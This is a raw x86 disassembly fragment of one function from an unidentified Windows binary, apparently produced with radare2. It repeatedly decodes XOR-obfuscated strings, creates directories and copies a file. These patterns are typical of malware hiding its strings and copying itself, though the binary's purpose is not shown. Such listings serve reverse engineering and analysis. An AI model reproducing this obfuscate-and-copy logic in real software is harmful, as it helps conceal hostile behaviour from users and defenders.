mov byte [ebp - 4], 0xb7
lea ecx, [ebp - 0xe1c]
mov esi, esp
call fcn.00402b50
push eax
lea edx, [ebp - 0x3dc]
mov ecx, esi
call fcn.00486d20
add esp, 4
mov cl, bl
mov byte [ebp - 4], 0xb8
call fcn.00412090
add esp, 0x30
mov byte [ebp - 4], 0xb5
lea ecx, [ebp - 0xe1c]
mov esi, eax
call fcn.00402a10
test esi, esi
jne 0x41773d
mov byte [edi], 1
jmp 0x417775
lea ecx, [ebp - 0x730]
call fcn.00402b50
push eax
lea ecx, [ebp - 0xe34]
call fcn.00402ab0
push 0
mov dl, 1
mov byte [ebp - 4], 0xb9
lea ecx, [ebp - 0xe34]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0xe34]
call fcn.00402a10
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x730]
mov byte [ebp - 4], 0xb0
call fcn.00402a10
movaps xmm0, xmmword [0x547f20]
xor ecx, ecx
mov dword [ebp - 0xc5], 0xe9e6c4db
mov dword [ebp - 0xc1], 0xddade0ea
movups xmmword [ebp - 0xbd], xmm0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xc5], al
inc ecx
cmp ecx, 0xe
jb 0x4177b0
lea eax, [ebp - 0xc5]
mov dword [0x55d524], ecx
push eax
lea ecx, [ebp - 0xe4c]
mov byte [ebp - 0xb7], 0
call fcn.00402ab0
lea ecx, [ebp - 0xe4c]
mov byte [ebp - 4], 0xba
call fcn.00402b50
push eax
lea edx, [ebp - 0x3dc]
lea ecx, [ebp - 0x1584]
call fcn.00486d20
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0xbb
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
lea ecx, [ebp - 0x1584]
mov bl, al
call fcn.00402a10
lea ecx, [ebp - 0xe4c]
mov byte [ebp - 4], 0xb0
call fcn.00402a10
test bl, bl
je 0x4179fa
movaps xmm0, xmmword [0x547f20]
xor ecx, ecx
mov dword [ebp - 0xdd], 0xe9e6c4db
mov dword [ebp - 0xd9], 0xddade0ea
movups xmmword [ebp - 0xd5], xmm0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xdd], al
inc ecx
cmp ecx, 0xe
jb 0x417860
lea eax, [ebp - 0xdd]
mov dword [0x55d524], ecx
push eax
lea ecx, [ebp - 0xe64]
mov byte [ebp - 0xcf], 0
call fcn.00402ab0
lea ecx, [ebp - 0xe64]
mov byte [ebp - 4], 0xbc
call fcn.00402b50
push eax
lea edx, [ebp - 0x630]
lea ecx, [ebp - 0x748]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0xe64]
mov byte [ebp - 4], 0xbe
call fcn.00402a10
lea ecx, [ebp - 0x748]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
jne 0x4178f1
push 0
lea ecx, [ebp - 0x748]
call fcn.00402b50
push eax
call esi
test eax, eax
je 0x4179eb
movaps xmm0, xmmword [0x547f20]
lea eax, [ebp - 0x748]
sub esp, 0x18
mov dword [ebp - 0xf5], 0xe9e6c4db
mov ecx, esp
mov dword [ebp - 0x14], esp
mov dword [ebp - 0xf1], 0xddade0ea
xor bl, bl
movups xmmword [ebp - 0xed], xmm0
push eax
call fcn.00483010
mov byte [ebp - 4], 0xbf
xor ecx, ecx
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xf5], al
inc ecx
cmp ecx, 0xe
jb 0x417930
lea eax, [ebp - 0xf5]
mov dword [0x55d524], ecx
push eax
lea ecx, [ebp - 0xe7c]
mov byte [ebp - 0xe7], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 0xc0
lea ecx, [ebp - 0xe7c]
mov esi, esp
call fcn.00402b50
push eax
lea edx, [ebp - 0x3dc]
mov ecx, esi
call fcn.00486d20
add esp, 4
mov cl, bl
mov byte [ebp - 4], 0xc1
call fcn.00412090
add esp, 0x30
mov byte [ebp - 4], 0xbe
lea ecx, [ebp - 0xe7c]
mov esi, eax
call fcn.00402a10
test esi, esi
jne 0x4179ad
mov byte [edi], 1
jmp 0x4179e5
lea ecx, [ebp - 0x748]
call fcn.00402b50
push eax
lea ecx, [ebp - 0xe94]
call fcn.00402ab0
push 0
mov dl, 1
mov byte [ebp - 4], 0xc2
lea ecx, [ebp - 0xe94]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0xe94]
call fcn.00402a10
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x748]
mov byte [ebp - 4], 0xb0
call fcn.00402a10
movaps xmm0, xmmword [0x5499f0]
xor ecx, ecx
movups xmmword [ebp - 0x6b2], xmm0
mov word [ebp - 0x69a], 0
xorps xmm0, xmm0
movq qword [ebp - 0x6a2], xmm0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x6b2], al
inc ecx
cmp ecx, 0x10
jb 0x417a20
lea eax, [ebp - 0x6b2]
mov dword [0x55d628], ecx
push eax
lea ecx, [ebp - 0xeac]
mov byte [ebp - 0x6a2], 0
call fcn.00402ab0
lea ecx, [ebp - 0xeac]
mov byte [ebp - 4], 0xc3
call fcn.00402b50
push eax
lea edx, [ebp - 0x3dc]
lea ecx, [ebp - 0x159c]
call fcn.00486d20
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0xc4
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
lea ecx, [ebp - 0x159c]
mov bl, al
call fcn.00402a10
lea ecx, [ebp - 0xeac]
mov byte [ebp - 4], 0xb0
call fcn.00402a10
test bl, bl
je 0x417c66
movaps xmm0, xmmword [0x5499f0]
xor ecx, ecx
movups xmmword [ebp - 0x6cc], xmm0
mov word [ebp - 0x6b4], 0
xorps xmm0, xmm0
movq qword [ebp - 0x6bc], xmm0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x6cc], al
inc ecx
cmp ecx, 0x10
jb 0x417ad0
lea eax, [ebp - 0x6cc]
mov dword [0x55d628], ecx
push eax
lea ecx, [ebp - 0xec4]
mov byte [ebp - 0x6bc], 0
call fcn.00402ab0
lea ecx, [ebp - 0xec4]
mov byte [ebp - 4], 0xc5
call fcn.00402b50
push eax
lea edx, [ebp - 0x630]
lea ecx, [ebp - 0x760]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0xec4]
mov byte [ebp - 4], 0xc7
call fcn.00402a10
lea ecx, [ebp - 0x760]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
jne 0x417b61
push 0
lea ecx, [ebp - 0x760]
call fcn.00402b50
push eax
call esi
test eax, eax
je 0x417c5b
movaps xmm0, xmmword [0x5499f0]
lea eax, [ebp - 0x760]
sub esp, 0x18
mov word [ebp - 0x680], 0
movups xmmword [ebp - 0x698], xmm0
mov dword [ebp - 0x14], esp
mov ecx, esp
xorps xmm0, xmm0
xor bl, bl
push eax
movq qword [ebp - 0x688], xmm0
call fcn.00483010
mov byte [ebp - 4], 0xc8
xor ecx, ecx
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x698], al
inc ecx
cmp ecx, 0x10
jb 0x417ba0
lea eax, [ebp - 0x698]
mov dword [0x55d628], ecx
push eax
lea ecx, [ebp - 0xedc]
mov byte [ebp - 0x688], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 0xc9
lea ecx, [ebp - 0xedc]
mov esi, esp
call fcn.00402b50
push eax
lea edx, [ebp - 0x3dc]
mov ecx, esi
call fcn.00486d20
add esp, 4
mov cl, bl
mov byte [ebp - 4], 0xca
call fcn.00412090
add esp, 0x30
mov byte [ebp - 4], 0xc7
lea ecx, [ebp - 0xedc]
mov esi, eax
call fcn.00402a10
test esi, esi
jne 0x417c1d
mov byte [edi], 1
jmp 0x417c55
lea ecx, [ebp - 0x760]
call fcn.00402b50
push eax
lea ecx, [ebp - 0xef4]
call fcn.00402ab0
push 0
mov dl, 1
mov byte [ebp - 4], 0xcb
lea ecx, [ebp - 0xef4]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0xef4]
call fcn.00402a10
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x760]
call fcn.00402a10
mov ebx, dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x630]
mov byte [ebp - 4], 0xad
call fcn.00402a10
movaps xmm0, xmmword [0x54a130]
xor ecx, ecx
movups xmmword [ebp - 0x579], xmm0
mov dword [ebp - 0x569], 0xfffef7f3
movaps xmm0, xmmword [0x5471f0]
mov byte [ebp - 0x565], 0xb5
movups xmmword [ebp - 0x564], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x579], al
inc ecx
cmp ecx, 0x1b
jb 0x417cb0
lea eax, [ebp - 0x579]
mov dword [0x55d618], ecx
push eax
lea ecx, [ebp - 0xf0c]
mov byte [ebp - 0x55e], 0
call fcn.00402ab0
lea ecx, [ebp - 0xf0c]
mov byte [ebp - 4], 0xcc
call fcn.00402b50
push eax
lea ecx, [ebp - 0x15b4]
call fcn.00402ab0
push eax
lea edx, [ebp - 0x16f0]
mov byte [ebp - 4], 0xcd
lea ecx, [ebp - 0x96c]
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0x15b4]
call fcn.00402a10
lea ecx, [ebp - 0xf0c]
mov byte [ebp - 4], 0xd0
call fcn.00402a10
sub esp, 0x18
lea eax, [ebp - 0x96c]
mov ecx, esp
push eax
call fcn.00483010
call fcn.0040da60
add esp, 0x18
test al, al
je 0x417f0a
movaps xmm0, xmmword [0x5480d0]
xor ecx, ecx
mov dword [ebp - 0x245], 0xe6fcc5db
movups xmmword [ebp - 0x241], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x245], al
inc ecx
cmp ecx, 0xa
jb 0x417d70
lea eax, [ebp - 0x245]
mov dword [0x55d5e0], ecx
push eax
lea ecx, [ebp - 0xf24]
mov byte [ebp - 0x23b], 0
call fcn.00402ab0
lea ecx, [ebp - 0xf24]
mov byte [ebp - 4], 0xd1
call fcn.00402b50
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x778]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0xf24]
mov byte [ebp - 4], 0xd3
call fcn.00402a10
lea ecx, [ebp - 0x778]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
jne 0x417dfe
push 0
lea ecx, [ebp - 0x778]
call fcn.00402b50
push eax
call esi
test eax, eax
je 0x417efb
movaps xmm0, xmmword [0x549a90]
xor ecx, ecx
movups xmmword [ebp - 0x5e5], xmm0
mov byte [ebp - 0x5d5], 0xe3
xorps xmm0, xmm0
mov word [ebp - 0x5cc], 0
movq qword [ebp - 0x5d4], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x5e5], al
inc ecx
cmp ecx, 0x11
jb 0x417e30
lea eax, [ebp - 0x5e5]
mov dword [0x55d634], ecx
push eax
lea ecx, [ebp - 0xf3c]
mov byte [ebp - 0x5d4], 0
call fcn.00402ab0
lea ecx, [ebp - 0xf3c]
mov byte [ebp - 4], 0xd4
call fcn.00402b50
push eax
lea edx, [ebp - 0x778]
lea ecx, [ebp - 0x15cc]
call fcn.00486d20
add esp, 4
mov ecx, eax
call fcn.00402b50
lea ecx, [ebp - 0x96c]
mov esi, eax
call fcn.00402b50
push 0
push esi
push eax
call ebx
lea ecx, [ebp - 0x15cc]
mov esi, eax
call fcn.00402a10
lea ecx, [ebp - 0xf3c]
mov byte [ebp - 4], 0xd3
call fcn.00402a10
test esi, esi
je 0x417ec3
mov byte [edi], 1
jmp 0x417efb
lea ecx, [ebp - 0x778]
call fcn.00402b50
push eax
lea ecx, [ebp - 0xf54]
call fcn.00402ab0
push 0
mov dl, 1
mov byte [ebp - 4], 0xd5
lea ecx, [ebp - 0xf54]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0xf54]
call fcn.00402a10
lea ecx, [ebp - 0x778]
mov byte [ebp - 4], 0xd0
call fcn.00402a10
movaps xmm0, xmmword [0x5476e0]
lea eax, [ebp + 8]
sub esp, 0x18
mov byte [ebp - 0x49e], 0xc5
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x49d], xmm0
push eax
call fcn.00483010
mov byte [ebp - 4], 0xd6
xor ecx, ecx
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x49e], al
inc ecx
cmp ecx, 7
jb 0x417f40
lea eax, [ebp - 0x49e]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0xf6c]
mov byte [ebp - 0x497], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 0xd7
lea ecx, [ebp - 0xf6c]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
mov ecx, edi
mov byte [ebp - 4], 0xd8
call fcn.00413bf0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0xf6c]
call fcn.00402a10
movaps xmm0, xmmword [0x547380]
lea eax, [ebp + 8]
sub esp, 0x18
mov word [ebp - 0x321], 0xe7c3
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x31f], xmm0
push eax
call fcn.00483010
mov byte [ebp - 4], 0xd9
xor ecx, ecx
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x321], al
inc ecx
cmp ecx, 8
jb 0x417fe0
lea eax, [ebp - 0x321]
mov dword [0x55d624], ecx
push eax
lea ecx, [ebp - 0xf84]
mov byte [ebp - 0x319], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 0xda
lea ecx, [ebp - 0xf84]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
mov ecx, edi
mov byte [ebp - 4], 0xdb
call fcn.00413bf0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0xf84]
call fcn.00402a10
movaps xmm0, xmmword [0x547340]
lea eax, [ebp + 8]
sub esp, 0x18
mov word [ebp - 0x2b5], 0xe6c6
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x2b3], xmm0
push eax
call fcn.00483010
mov byte [ebp - 4], 0xdc
xor ecx, ecx
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x2b5], al
inc ecx
cmp ecx, 8
jb 0x418080
lea eax, [ebp - 0x2b5]
mov dword [0x55d624], ecx
push eax
lea ecx, [ebp - 0xf9c]
mov byte [ebp - 0x2ad], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 0xdd
lea ecx, [ebp - 0xf9c]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
mov ecx, edi
mov byte [ebp - 4], 0xde
call fcn.00413bf0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0xf9c]
call fcn.00402a10
movaps xmm0, xmmword [0x5476c0]
lea eax, [ebp + 8]
sub esp, 0x18
mov byte [ebp - 0x4af], 0xc5
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x4ae], xmm0
push eax
call fcn.00483010
mov byte [ebp - 4], 0xdf
xor ecx, ecx
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x4af], al
inc ecx
cmp ecx, 7
jb 0x418115
lea eax, [ebp - 0x4af]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0xfb4]
mov byte [ebp - 0x4a8], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 0xe0
lea ecx, [ebp - 0xfb4]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
mov ecx, edi
mov byte [ebp - 4], 0xe1
call fcn.00413bf0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0xfb4]
call fcn.00402a10
movaps xmm0, xmmword [0x547cf0]
lea eax, [ebp + 8]
sub esp, 0x18
mov word [ebp - 0x2a3], 0xe9c3
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x2a1], xmm0
push eax
call fcn.00483010
mov byte [ebp - 4], 0xe2
xor ecx, ecx
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x2a3], al
inc ecx
cmp ecx, 8
jb 0x4181b0
lea eax, [ebp - 0x2a3]
mov dword [0x55d624], ecx
push eax
lea ecx, [ebp - 0xfcc]
mov byte [ebp - 0x29b], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 0xe3
lea ecx, [ebp - 0xfcc]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
mov ecx, edi
mov byte [ebp - 4], 0xe4
call fcn.00413bf0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0xfcc]
call fcn.00402a10
movaps xmm0, xmmword [0x548490]
lea eax, [ebp + 8]
sub esp, 0x18
mov dword [ebp - 0x21d], 0xf8e6e4c1
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x219], xmm0
push eax
call fcn.00483010
mov byte [ebp - 4], 0xe5
xor ecx, ecx
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x21d], al
inc ecx
cmp ecx, 0xa
jb 0x418250
lea eax, [ebp - 0x21d]
mov dword [0x55d5e0], ecx
push eax
lea ecx, [ebp - 0xfe4]
mov byte [ebp - 0x213], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 0xe6
lea ecx, [ebp - 0xfe4]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
mov ecx, edi
mov byte [ebp - 4], 0xe7
call fcn.00413bf0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0xfe4]
call fcn.00402a10
movaps xmm0, xmmword [0x547670]
lea eax, [ebp + 8]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x524], xmm0
push eax
call fcn.00483010
mov byte [ebp - 4], 0xe8
xor ecx, ecx
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x524], al
inc ecx
cmp ecx, 6
jb 0x4182e0
lea eax, [ebp - 0x524]
mov dword [0x55d548], ecx
push eax
lea ecx, [ebp - 0xffc]
mov byte [ebp - 0x51e], 0
call fcn.00402ab0
lea ecx, [ebp - 0xffc]
call fcn.00402b50
sub esp, 0x18
mov ebx, eax
mov esi, esp
mov dword [ebp - 0x10], esi
mov ecx, esi
push dword [ebp - 0x14]
call fcn.00402b60
mov ecx, ebx
mov byte [ebp - 4], 0xea
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418338
sub ecx, edx
push ecx
push ebx
mov ecx, esi
call fcn.00402b80
mov byte [ebp - 4], 0xe9
mov ecx, edi
mov byte [ebp - 4], 0xeb
call fcn.00413bf0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0xffc]
call fcn.00402a10
movaps xmm0, xmmword [0x547330]
lea eax, [ebp + 8]
sub esp, 0x18
mov word [ebp - 0x345], 0xfac1
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x343], xmm0
push eax
call fcn.00483010
mov byte [ebp - 4], 0xec
xor ecx, ecx
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x345], al
inc ecx
cmp ecx, 8
jb 0x4183a0
lea eax, [ebp - 0x345]
mov dword [0x55d624], ecx
push eax
lea ecx, [ebp - 0x1014]
mov byte [ebp - 0x33d], 0
call fcn.00402ab0
lea ecx, [ebp - 0x1014]
call fcn.00402b50
sub esp, 0x18
mov ebx, eax
mov esi, esp
mov dword [ebp - 0x10], esi
mov ecx, esi
push dword [ebp - 0x14]
call fcn.00402b60
mov ecx, ebx
mov byte [ebp - 4], 0xee
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4183f8
sub ecx, edx
push ecx
push ebx
mov ecx, esi
call fcn.00402b80
mov byte [ebp - 4], 0xed
mov ecx, edi
mov byte [ebp - 4], 0xef
call fcn.00413bf0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0x1014]
call fcn.00402a10
movaps xmm0, xmmword [0x546f00]
lea eax, [ebp + 8]
sub esp, 0x18
mov dword [ebp - 0x10d], 0xeee5e7c0
mov ecx, esp
mov dword [ebp - 0x14], esp
mov dword [ebp - 0x109], 0xe0e4e3c8
movups xmmword [ebp - 0x105], xmm0
push eax
call fcn.00483010
mov byte [ebp - 4], 0xf0
xor ecx, ecx
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x10d], al
inc ecx
cmp ecx, 0xe
jb 0x418464
lea eax, [ebp - 0x10d]
mov dword [0x55d524], ecx
push eax
lea ecx, [ebp - 0x102c]
mov byte [ebp - 0xff], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 0xf1
lea ecx, [ebp - 0x102c]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
mov ecx, edi
mov byte [ebp - 4], 0xf2
call fcn.00413bf0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0x102c]
call fcn.00402a10
movaps xmm0, xmmword [0x547570]
lea eax, [ebp + 8]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x554], xmm0
push eax
call fcn.00483010
mov byte [ebp - 4], 0xf3
xor ecx, ecx
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x554], al
inc ecx
cmp ecx, 6
jb 0x4184f2
lea eax, [ebp - 0x554]
mov dword [0x55d548], ecx
push eax
lea ecx, [ebp - 0x1044]
mov byte [ebp - 0x54e], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 0xf4
lea ecx, [ebp - 0x1044]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
mov ecx, edi
mov byte [ebp - 4], 0xf5
call fcn.00413bf0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0x1044]
call fcn.00402a10
movaps xmm0, xmmword [0x548380]
lea eax, [ebp + 8]
sub esp, 0x18
mov dword [ebp - 0x151], 0xe3efe6ce
mov ecx, esp
mov dword [ebp - 0x14], esp
mov word [ebp - 0x14d], 0xe5e5
movups xmmword [ebp - 0x14b], xmm0
push eax
call fcn.00483010
mov byte [ebp - 4], 0xf6
xor ecx, ecx
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x151], al
inc ecx
cmp ecx, 0xc
jb 0x418593
lea eax, [ebp - 0x151]
mov dword [0x55d528], ecx
push eax
lea ecx, [ebp - 0x105c]
mov byte [ebp - 0x145], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 0xf7
lea ecx, [ebp - 0x105c]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
mov ecx, edi
mov byte [ebp - 4], 0xf8
call fcn.00413bf0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0x105c]
call fcn.00402a10
movaps xmm0, xmmword [0x547590]
lea eax, [ebp + 8]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x544], xmm0
push eax
call fcn.00483010
mov byte [ebp - 4], 0xf9
xor ecx, ecx
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x544], al
inc ecx
cmp ecx, 6
jb 0x418621
lea eax, [ebp - 0x544]
mov dword [0x55d548], ecx
push eax
lea ecx, [ebp - 0x1074]
mov byte [ebp - 0x53e], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 0xfa
lea ecx, [ebp - 0x1074]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
mov ecx, edi
mov byte [ebp - 4], 0xfb
call fcn.00413bf0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0x1074]
call fcn.00402a10
movaps xmm0, xmmword [0x547350]
lea eax, [ebp + 8]
sub esp, 0x18
mov word [ebp - 0x30f], 0xedca
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x30d], xmm0
push eax
call fcn.00483010
mov byte [ebp - 4], 0xfc
xor ecx, ecx
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x30f], al
inc ecx
cmp ecx, 8
jb 0x4186c0
lea eax, [ebp - 0x30f]
mov dword [0x55d624], ecx
push eax
lea ecx, [ebp - 0x108c]
mov byte [ebp - 0x307], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 0xfd
lea ecx, [ebp - 0x108c]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
mov ecx, edi
mov byte [ebp - 4], 0xfe
call fcn.00413bf0
add esp, 0x30
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0x108c]
call fcn.00402a10
movaps xmm0, xmmword [0x5476d0]
lea eax, [ebp + 8]
sub esp, 0x18
mov byte [ebp - 0x4c0], 0xca
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x4bf], xmm0
push eax
call fcn.00483010
mov byte [ebp - 4], 0xff
xor ecx, ecx
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x4c0], al
inc ecx
cmp ecx, 7
jb 0x418755
lea eax, [ebp - 0x4c0]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0x10a4]
mov byte [ebp - 0x4b9], 0
call fcn.00402ab0
sub esp, 0x18
mov dword [ebp - 4], 0x100
lea ecx, [ebp - 0x10a4]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
mov ecx, edi
mov byte [ebp - 4], 1
call fcn.00413bf0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0x10a4]
call fcn.00402a10
movaps xmm0, xmmword [0x547370]
lea eax, [ebp + 8]
sub esp, 0x18
mov word [ebp - 0x333], 0xe9c9
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x331], xmm0
push eax
call fcn.00483010
mov dword [ebp - 4], 0x102
xor ecx, ecx
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x333], al
inc ecx
cmp ecx, 8
jb 0x4187f5
lea eax, [ebp - 0x333]
mov dword [0x55d624], ecx
push eax
lea ecx, [ebp - 0x10bc]
mov byte [ebp - 0x32b], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x10bc]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
mov ecx, edi
mov byte [ebp - 4], 4
call fcn.00413bf0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0x10bc]
call fcn.00402a10
movaps xmm0, xmmword [0x5474b0]
lea eax, [ebp + 8]
sub esp, 0x18
mov word [ebp - 0x26b], 0xfad7
mov ecx, esp
mov dword [ebp - 0x14], esp
mov byte [ebp - 0x269], 0xe0
movups xmmword [ebp - 0x268], xmm0
push eax
call fcn.00483010
mov dword [ebp - 4], 0x105
xor ecx, ecx
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x26b], al
inc ecx
cmp ecx, 9
jb 0x4188a0
lea eax, [ebp - 0x26b]
mov dword [0x55d630], ecx
push eax
lea ecx, [ebp - 0x10d4]
mov byte [ebp - 0x262], 0
call fcn.00402ab0
lea ecx, [ebp - 0x10d4]
call fcn.00402b50
sub esp, 0x18
mov ebx, eax
mov esi, esp
mov dword [ebp - 0x10], esi
mov ecx, esi
push dword [ebp - 0x14]
call fcn.00402b60
mov ecx, ebx
mov byte [ebp - 4], 7
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4188f8
sub ecx, edx
push ecx
push ebx
mov ecx, esi
call fcn.00402b80
mov byte [ebp - 4], 6
mov ecx, edi
mov byte [ebp - 4], 8
call fcn.00413bf0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0x10d4]
call fcn.00402a10
movaps xmm0, xmmword [0x5474a0]
lea eax, [ebp + 8]
sub esp, 0x18
mov word [ebp - 0x27e], 0xedd3
mov ecx, esp
mov dword [ebp - 0x14], esp
mov byte [ebp - 0x27c], 0xfb
movups xmmword [ebp - 0x27b], xmm0
push eax
call fcn.00483010
mov dword [ebp - 4], 0x109
xor ecx, ecx
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x27e], al
inc ecx
cmp ecx, 9
jb 0x418970
lea eax, [ebp - 0x27e]
mov dword [0x55d630], ecx
push eax
lea ecx, [ebp - 0x10ec]
mov byte [ebp - 0x275], 0
call fcn.00402ab0
lea ecx, [ebp - 0x10ec]
call fcn.00402b50
sub esp, 0x18
mov ebx, eax
mov esi, esp
mov dword [ebp - 0x10], esi
mov ecx, esi
push dword [ebp - 0x14]
call fcn.00402b60
mov ecx, ebx
mov byte [ebp - 4], 0xb
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4189c8
sub ecx, edx
push ecx
push ebx
mov ecx, esi
call fcn.00402b80
mov byte [ebp - 4], 0xa
mov ecx, edi
mov byte [ebp - 4], 0xc
call fcn.00413bf0
add esp, 0x30
mov dword [ebp - 4], 0xd0
lea ecx, [ebp - 0x10ec]
